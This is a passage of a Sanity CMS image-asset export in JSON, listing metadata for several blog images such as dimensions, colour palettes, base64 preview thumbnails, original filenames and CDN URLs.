ePaletteSwatch","background":"#a9b1bd","foreground":"#000","population":8.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9b1bd","foreground":"#000","population":8.29,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9a97e","foreground":"#000","population":4.74,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8e6247","foreground":"#fff","population":1.27,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b06e4e","foreground":"#fff","population":8.15,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"felixwu.png","path":"images/sczeoy4w/production/9c5d71dc326a8d59daa861ecdb16728343d93ba2-299x366.png","sha1hash":"9c5d71dc326a8d59daa861ecdb16728343d93ba2","size":146819,"uploadId":"avANPyQOpArOQWXN2XYcRaw4EUuaw5BT","url":"https://cdn.sanity.io/images/sczeoy4w/production/9c5d71dc326a8d59daa861ecdb16728343d93ba2-299x366.png"} {"_createdAt":"2022-09-30T15:36:05Z","_id":"image-9c772f418eda7824466fea923e7a5e6fa156c25f-1837x1271-png","_rev":"8WeirZ6KB9gJqgJfviPwsV","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:05Z","assetId":"9c772f418eda7824466fea923e7a5e6fa156c25f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V042VWx_D,s?M^00w]--oys;I7slaLV?o#RotStSt7Rj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4453186467348544,"height":1271,"width":1837},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAA7DAAAOwwHHb6hkAAACFUlEQVQ4jXVSSXLjMAzUE2LHm0RRFDeJi1Y75YMr8/9n9RRB2XEOOXSBagFNoMFCco66blFzBd5olJXA56HCbn/Gx4bdX9id8LE7UXyeC8YasFqi5ppQVi2OpxqHQ4nDsaS4/0y4EP4U32cUJRO4VII6S7iUDc4XjrLk4KxBVeXvE6HG8VzjeGI4ECocjlWO27mouCTBCxMoWZvFmUDNJZpGUazewBInDBhXOZ8JlHVLOFcNirpRqLhC3XbgsqdkLgwaaSGkhTQOUjs0sgNvLYTq0WoPoQOEyvzzX7qwEEKTmPIrTLhC2QipPRUpGxDGFWG8wnQDpMm8tAPlduEK6yaqSeKs0ShorNZC+xldXKGpMGyFAS6uhHe+NRHWJ8EVph9/C6bNstZC+hkmLPSTRlKOkIRM/xTLXGs8jJugX7ynsZO/BfmnPMz6D/31G51foDfRNKILE3yc30ST2IA43eCHdbMi+dnnDi9VAyZ72OUBtz5g/UyCKUnaCBcX+JhHI0HjofsRYfqCi9nb5PVr5FPJ6aD9CBtmqO5n5ORhH2d0IRkffnjj0fnxV9eNTB2qTVAYWD/BDQvssxPt0McBt8cXptuNimkhiXcdpsnBx2FbVrroTbAWFn1cyZfOz/npGI9+GHH7vmO533/xzjus64BhWl7PJl30NrKB7ue8EPIkF6ouwE0z3Li8nseLHyey45n/FPwPkduG4PCV9JwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#222e47","foreground":"#fff","population":0.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#705c18","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#222e47","foreground":"#fff","population":0.39,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a8a99d","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dce690","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#63a58e","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b88e1b","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9c772f418eda7824466fea923e7a5e6fa156c25f-1837x1271.png","path":"images/sczeoy4w/production/9c772f418eda7824466fea923e7a5e6fa156c25f-1837x1271.png","sha1hash":"9c772f418eda7824466fea923e7a5e6fa156c25f","size":147202,"uploadId":"RPLgqRf70pWmS2HRMu2yNcHTDZBJReXZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/9c772f418eda7824466fea923e7a5e6fa156c25f-1837x1271.png"} {"_createdAt":"2023-12-04T09:57:19Z","_id":"image-9c7b6a4f9f6792e9e9a69ade5a3d6f0a9d076898-1469x1073-png","_rev":"EtJHT7RDM7ZMQ8O4DN12FQ","_type":"sanity.imageAsset","_updatedAt":"2023-12-04T09:57:19Z","assetId":"9c7b6a4f9f6792e9e9a69ade5a3d6f0a9d076898","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3690587138863002,"height":1073,"width":1469},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAABPUlEQVQokYVTW04DMQzM/U/EB3xwBj44AKpKBagUNRs/xg7Y6WO3tDCyImWdscePLev15v3tvdaqqu7eb8PMiWz7yU/Pu7uH1/vHTdntvvb7KiKAubuZu8V5slNA9w44ET62/LKaVutWWhMiUYUlADPEqRpnXI/8DB1XwFXjQamTELGq2hJJG/BB0wQCIy4KsUbefAvg6L6CmesQtcQHP8QSESJiEYYwWDCX43OMLpSgRRVBJuY6tYmIwGwsLuYH0tX+l/SEmVljqrU14iwDo9+/Ey7JyTczZm4pWxHtHLXMdfclQrYa1BUOFmlEjYlAZMTGcNxK23sv840YNTdiVhETNV3K7pfks2xP2Y34NLpLXPJLrhDSbMgmYYHAzoJvZo51HKPyMappImJktf2v/2Q5qpAtSY1F/5f5Q/4GpW51yougwLgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#484749","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3741a4","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#3741a4","foreground":"#fff","population":0.15,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9cfa9","foreground":"#000","population":0.06,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a3abeb","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5a5c98","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3e50cb","foreground":"#fff","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"data-in-kafka.png","path":"images/sczeoy4w/production/9c7b6a4f9f6792e9e9a69ade5a3d6f0a9d076898-1469x1073.png","sha1hash":"9c7b6a4f9f6792e9e9a69ade5a3d6f0a9d076898","size":44939,"uploadId":"eFvmyJzYrBNlAjKZ6dYx9CdNnVzvrcId","url":"https://cdn.sanity.io/images/sczeoy4w/production/9c7b6a4f9f6792e9e9a69ade5a3d6f0a9d076898-1469x1073.png"} {"_createdAt":"2023-06-01T11:42:32Z","_id":"image-9c7f227bcff02eb58047d37484c16f889485bf44-2000x1078-jpg","_rev":"3j6PNipGH9NrGWcobrRYdP","_type":"sanity.imageAsset","_updatedAt":"2023-06-01T11:42:32Z","assetId":"9c7f227bcff02eb58047d37484c16f889485bf44","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M%P{|9{dJWS#$1aItSV?aeognibIayjuj@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8552875695732838,"height":1078,"width":2000},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAwT/xAAjEAABBAICAAcAAAAAAAAAAAABAgMEBQARBiESEyIxMkFR/8QAFQEBAQAAAAAAAAAAAAAAAAAABgf/xAAfEQACAgEEAwAAAAAAAAAAAAABAgAEEQMFEiEiUXH/2gAMAwEAAhEDEQA/AGzK2EtJJjoPX73nNzGtnXVVBh1iCfNc9SG+j4R77OYKPwx/XuuMPVpaWUFToSdfYwJthD3NNGHWZR99QrTdlPcgpvFuX1clUaqhvqiDSkbVvW8Mv7i8smLF5tqY4lAPQ6wxq9GnyPJMn4JO1uWMeLkD1mf/2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#614b3b","foreground":"#fff","population":0.83,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a02a06","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cba5a2","foreground":"#000","population":2.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f99f54","foreground":"#000","population":9.42,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9c6f58","foreground":"#fff","population":2.56,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5404","foreground":"#fff","population":11.1,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"010523_BlogPost_AlessandroBarone_smaller.jpg","path":"images/sczeoy4w/production/9c7f227bcff02eb58047d37484c16f889485bf44-2000x1078.jpg","sha1hash":"9c7f227bcff02eb58047d37484c16f889485bf44","size":166966,"uploadId":"WH6UTzPfnNJ5pLZJRiF4k89LkMllJh34","url":"https://cdn.sanity.io/images/sczeoy4w/production/9c7f227bcff02eb58047d37484c16f889485bf44-2000x1078.jpg"} {"_createdAt":"2023-09-07T06:40:45Z","_id":"image-9c8badb30eb9df3a11a81b1b5e1ae53892bb739a-1600x900-webp","_rev":"Dk4vsGyYpr9Xi9g7qyGCUX","_type":"sanity.imageAsset","_updatedAt":"2023-09-07T06:40:45Z","assetId":"9c8badb30eb9df3a11a81b1b5e1ae53892bb739a","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"MBHAt@*-Htq^rqyWSdo}D*$+00NG~WI:Nb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7777777777777777,"height":900,"width":1600},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAUGAwT/xAAlEAABAwQBAwUBAAAAAAAAAAABAgMEAAURIRIGFFETIjFhwdH/xAAWAQEBAQAAAAAAAAAAAAAAAAADBAX/xAAcEQACAgIDAAAAAAAAAAAAAAAAAQMRAgQSMUH/2gAMAwEAAhEDEQA/AFNlYjy5DbHKK2wpOSVDY84rqv8A0Lbpk+I/b0xWGWMKVxVteP7Uawo9lzyeQSrBBrW3y5HcRR6y8KUnO/minXFm3tQrCWl6PL/dlvXR1fsA0APAAx+UVOdSpAuisaykHR+zRRdkLVOj/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5a433c","foreground":"#fff","population":6.53,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#731b42","foreground":"#fff","population":6.48,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d6bdc2","foreground":"#000","population":6.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6bdc2","foreground":"#000","population":6.95,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4b48c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a7646e","foreground":"#fff","population":5.38,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8d3455","foreground":"#fff","population":5.42,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"jobs-blume-20001600x900.webp","path":"images/sczeoy4w/production/9c8badb30eb9df3a11a81b1b5e1ae53892bb739a-1600x900.webp","sha1hash":"9c8badb30eb9df3a11a81b1b5e1ae53892bb739a","size":183772,"uploadId":"f03oGpYkm87jhLEMAJcr5aok8uPTZoWu","url":"https://cdn.sanity.io/images/sczeoy4w/production/9c8badb30eb9df3a11a81b1b5e1ae53892bb739a-1600x900.webp"} {"_createdAt":"2022-09-07T20:26:06Z","_id":"image-9cc18e4d4cf3b08afb37bc4b62e38177318a745b-562x306-png","_rev":"CK1sLU2mnwa3vmbYWB2pig","_type":"sanity.imageAsset","_updatedAt":"2022-09-07T20:26:06Z","assetId":"9cc18e4d4cf3b08afb37bc4b62e38177318a745b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MLJk7cx[V[Rjt7_NDi%gIVRj*0IUt6s:Rk","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8366013071895424,"height":306,"width":562},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADJElEQVQokR3K209bdQDA8fNP+GLiZogX0DmHyuYtxmmMl7gY1E0XJWPeNrlIuRaBdr1B75autIVeWFva0x5OD6U30FKYrLwsoMYXffDFzcQ9ygYmJmO/r8kePm8facJk2w9FogeKlqdYLop6rcpWo876eo1SuYxWWGIxr6ItaVRXqjS2ttj5+RdKlRXkXJbG1qa48ddNdu/s3bu99+9/ksfnO9AKWbHZqHH1x5rYqK/S2Fzj6sYalUoZVVXIZdOoikypWOBao8H2zk+o+SXSmQzbO9fF37du8c/tPbF7Z/+e5Pc6UBdCrFezor6iUdVkKvkMJVVmMRkjEfAQ8ViJem0kQj6Wc2nq1TL5XBY5mWCjtsqv29fFH7//xs0/byC59L0iaNCJpONbsv5JkfVPkXJdYt5h5IrdQMyow9t3HntXB76hiwQNg4QtY0ScFqbN43gmRkTcaaY4HxLrBUVIYWM/CeswKfMAKcsQCVM/8fEe0k4DWtCN6rlEVH8B78Wz+Ps6cfWex9LViW98EOtAN199cApD5xliYzpmDUNIxWSQNSVBLTXLctBJ3NhP3PANq4kg10oqG3KMJY+R4MDnzI12ERzrw9T9BSZdD4buC3SdehPre+8Q6viE0Q/bkSpyTKzlM6Iux1kOuYlaRkhMjlKNTbORm6ehJinOOPAPf03SNsq8RU/PR+2cfeN1dG+9je2Fl5hpPY7tmedpP9qKFLcbRNJlEmm3mah5REyP6ZibnEANOPkhHWWrnKd0JUTUbkS5bCdkHOL9116hrekRPnv8aWYOHxHhQy0MPnFMvNpyREjO8RGiXgeZubCIfOfGMa7HPqEnFpimqC1R+77GSkGjoiywqizcvx2nT3P8aCsfNx/D9WAzrodbRO+LL3Py2RNIbqfrbk7OitJykcVcToQv+3HarDhcPizeObzhFLKiUSwUKGl5lHQSl32Knq5u9Gc+xfPkCWF66DHOtbaJ51qeOpBC4ciuuqjc1RSZfC4jFrMyqVSaqekI5/qtfDloweYO4PUFCIdnUZXsffPxOJEJM4G2k2L4gUO82/ToQfPhpv3/Ab1iTG2Vc+NdAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#432b24","foreground":"#fff","population":2.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a40e1f","foreground":"#fff","population":1.8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8f6f63","foreground":"#fff","population":5.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6bfb6","foreground":"#000","population":2.95,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc4c6c","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8f6f63","foreground":"#fff","population":5.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cb162e","foreground":"#fff","population":0.94,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"highlight-job.png","path":"images/sczeoy4w/production/9cc18e4d4cf3b08afb37bc4b62e38177318a745b-562x306.png","sha1hash":"9cc18e4d4cf3b08afb37bc4b62e38177318a745b","size":92958,"uploadId":"Kmd0skZk8DH44wM1mMV2N6KINhDXcL5r","url":"https://cdn.sanity.io/images/sczeoy4w/production/9cc18e4d4cf3b08afb37bc4b62e38177318a745b-562x306.png"} {"_createdAt":"2024-02-22T21:22:29Z","_id":"image-9cc3521831052733761f4f0e3f7d105409e6af75-1495x999-jpg","_rev":"GR3Wzi3VkCnQEpcbYdoPZI","_type":"sanity.imageAsset","_updatedAt":"2024-02-22T21:22:29Z","assetId":"9cc3521831052733761f4f0e3f7d105409e6af75","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VBEe=69a9ajEkB^%?bIURjNG-:Ip%LWYRj~pWBM{WAxt","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4964964964964964,"height":999,"width":1495},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcDBQb/xAAkEAABAwQBAwUAAAAAAAAAAAABAgMEAAURIRIGExQVIlGBof/EABUBAQEAAAAAAAAAAAAAAAAAAAAE/8QAGREAAgMBAAAAAAAAAAAAAAAAAAECERIh/9oADAMBAAIRAxEAPwCgsvVM8tdtNnC3UjaQrY+qnul9nC3rkuQ3Erzjxzo4+aV5my03buCS4l075pPEimJ0nfJV2gpTP4PbKSVDJIFQ5vllSkl2jJzL/Ode5ejIRrGO0T+0U4Frab4p8ZkgAAe2imYDTP/Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#544a3a","foreground":"#fff","population":2.74,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8b2e0a","foreground":"#fff","population":0.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d1c1ad","foreground":"#000","population":5.22,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d1c1ad","foreground":"#000","population":5.22,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eab68f","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#96876a","foreground":"#fff","population":2.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#98521c","foreground":"#fff","population":0.43,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Le Papillon.jpg","path":"images/sczeoy4w/production/9cc3521831052733761f4f0e3f7d105409e6af75-1495x999.jpg","sha1hash":"9cc3521831052733761f4f0e3f7d105409e6af75","size":374471,"uploadId":"8w4inBOS1Xlmpw8wycvdJb7JpXkIRkgv","url":"https://cdn.sanity.io/images/sczeoy4w/production/9cc3521831052733761f4f0e3f7d105409e6af75-1495x999.jpg"} {"_createdAt":"2024-02-15T15:30:55Z","_id":"image-9cd536becc3aa0b59c0f37cdd69aeaec76c698f9-3200x1148-png","_rev":"UjGmMOs0V2SxB808hz0oJu","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:30:55Z","assetId":"9cd536becc3aa0b59c0f37cdd69aeaec76c698f9","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D8B._Q053l%wD-4M@L}rtP::","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.7874564459930316,"height":1148,"width":3200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABwUlEQVQokV3RzWoTURwF8Pn+6HRaU5NKmsicmcnHtJn2/m9tDaWKCiX3NgXBjSgUXPgAomtXLnwGsYKiNZkGScC3cKfiphsXjrr0GWTGrFz8OLvDgaMAqAFoAmgAqABwABj/sQLArKexup7fU9jJgUKng3/ei4JaGglFAeDNSy8DqAKwAWgA1BBQi4wBvR9FxvGDXf36W2HxkfBoLBZpXObCnMMzYSnzRcWyegBcDAC3WFQIAROA2QHs2+2W/fT4qi1eDfztsVjlmWjwMuUyz6TPM+nxiXSLQh/ASgjU2sBKC1gKgIWiOACcQgS4+1HkPLq/ax68ES4/kxU6k1U+kRfYh0N3cza02HRobU+H5cJqAFxqA9W9KKrciCOfh6EdA0YH0JMw1DshzHXAuDnYVG9NDrX+SBr9TJp7Y2nI10K7+2KgDd5JbWd2pBWFywFQ6QD+nVbLfdLtOo+7XetZklinvZ47S1Mv6/UWp2nqfWPM+UXk5ETOb0ZuTuR+3+HOeZ9bX65d0U8e7penlE+GgH4Ux/rzJDFfbmzYH9PU+7S1VfvMWPMrY81zxtZ+ENVzorWcU6NEpdWcaOknI+tPwpS/ZpR04ghCvt0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d553e","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4e060b","foreground":"#fff","population":0.05,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2d553e","foreground":"#fff","population":0.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#732531","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de9ba5","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6f3a44","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#772733","foreground":"#fff","population":0.06,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-avoid-joins.png","path":"images/sczeoy4w/production/9cd536becc3aa0b59c0f37cdd69aeaec76c698f9-3200x1148.png","sha1hash":"9cd536becc3aa0b59c0f37cdd69aeaec76c698f9","size":194356,"uploadId":"8dP3lliHkxNhsPViQ28UAoObxHrqcxlU","url":"https://cdn.sanity.io/images/sczeoy4w/production/9cd536becc3aa0b59c0f37cdd69aeaec76c698f9-3200x1148.png"} {"_createdAt":"2023-10-16T07:19:06Z","_id":"image-9cddfa1c51f677cb2e3b39b87096a8fa79377d75-6160x3160-png","_rev":"YchETsjFZqXXcMnazIYXqy","_type":"sanity.imageAsset","_updatedAt":"2023-10-16T07:19:06Z","assetId":"9cddfa1c51f677cb2e3b39b87096a8fa79377d75","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9493670886075949,"height":3160,"width":6160},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAABYlAAAWJQFJUiTwAAABJUlEQVQokW2R26rjMAxF8///2UIhie3ofrE9NKad89D1IGTQ1palbf5izDnGHHNkT03lEA4m5yLtkFKkVW1guP1QjuGRahGZOTJ6eLqlS8gpdeez6nUZsMv23+ojzkwkLu1ikewffQ9NrVpPKWAAhhq6ZWZkqqd5LiKCiGqrzJy95+jx1qeloxM4sou4WtqGgO2Co7TjrIioqhHh7iLCourhkW//np7BbuzmGfF2zG3f99fr9Xg+H4/neRYRifuzrFqBKhAQ2w0SN6CGTCKqKiJba62UctwAoPt7encnZkACJCRapbW2UupZaqkVAFpr2xpyERG99zFGRMjd3sxWNDMiQsTrZuWfbd98r5WZS+PuK353uVjPH3eec/bel9siIv62/vIPwlZHNcWfZZkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#244b74","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1f4164","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#97bade","foreground":"#000","population":0.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4d4bc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#97bade","foreground":"#000","population":0.09,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7a8eac","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3d7ec1","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"outbox-table.png","path":"images/sczeoy4w/production/9cddfa1c51f677cb2e3b39b87096a8fa79377d75-6160x3160.png","sha1hash":"9cddfa1c51f677cb2e3b39b87096a8fa79377d75","size":510091,"uploadId":"eAcpOfUmvLj0kLuy9B4gSxCfFcistRuE","url":"https://cdn.sanity.io/images/sczeoy4w/production/9cddfa1c51f677cb2e3b39b87096a8fa79377d75-6160x3160.png"} {"_createdAt":"2024-06-10T15:22:55Z","_id":"image-9d1738b21faa7e788f10ebb5e93de5a7e9374249-2888x1020-png","_rev":"06CnkCNLb8AnjQwiBLGrrA","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T15:22:55Z","assetId":"9d1738b21faa7e788f10ebb5e93de5a7e9374249","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DASPLnhgHsb]?^_NWVkCozRP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.831372549019608,"height":1020,"width":2888},"exif":{"PixelXDimension":2888,"PixelYDimension":1020,"_type":"sanity.imageExifMetadata"},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABPklEQVQokWWR2U4DMQxF+/9/xBOCCgFC6gJCrH0oamHaWdJJMllnelBSWoF4uLIsxyfX9kgqQ9dZuqpFLgvUusRKg/cRY/1JUhu0cfjQE+LwTz70GBcYOetRyw3VzSPb8wnlxQxxv8A2Kj86yv0BHXLrUxwI/Z7Y73NtZGpJff1INZ7TPi0R07cMli8fBBeJAz+QfW60PtBqTdG2rHeSWne4EDMwaaSWRQYkWEy/Norq6oHm7hmvLP3+CDxIG8umLll8rXgvPimEwFhHjMMBqFcl5cUUMXvDNYqcX86yU9+5P8DU4JxnJxq2my/KukImh2mS+OPQSYOYv2eXyVmCleM5+mNLDMOvkQ/AkJafjqh0jgl2rGVgSmwtEZNXNme3lOcT1OKTYAL9wGnZx6Z0yZ3saHYK0Spa1WFdOAG/Ae8HF0MyzPd7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#7b1d3e","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6a1936","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b06981","foreground":"#fff","population":0.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4d4c6","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f192b4","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b06981","foreground":"#fff","population":0.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d44c7c","foreground":"#fff","population":0.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"negative-sentiment.png","path":"images/sczeoy4w/production/9d1738b21faa7e788f10ebb5e93de5a7e9374249-2888x1020.png","sha1hash":"9d1738b21faa7e788f10ebb5e93de5a7e9374249","size":411393,"uploadId":"Y3f9E8K7yJopq2kBDDrKtYMhlhjIAEEQ","url":"https://cdn.sanity.io/images/sczeoy4w/production/9d1738b21faa7e788f10ebb5e93de5a7e9374249-2888x1020.png"} 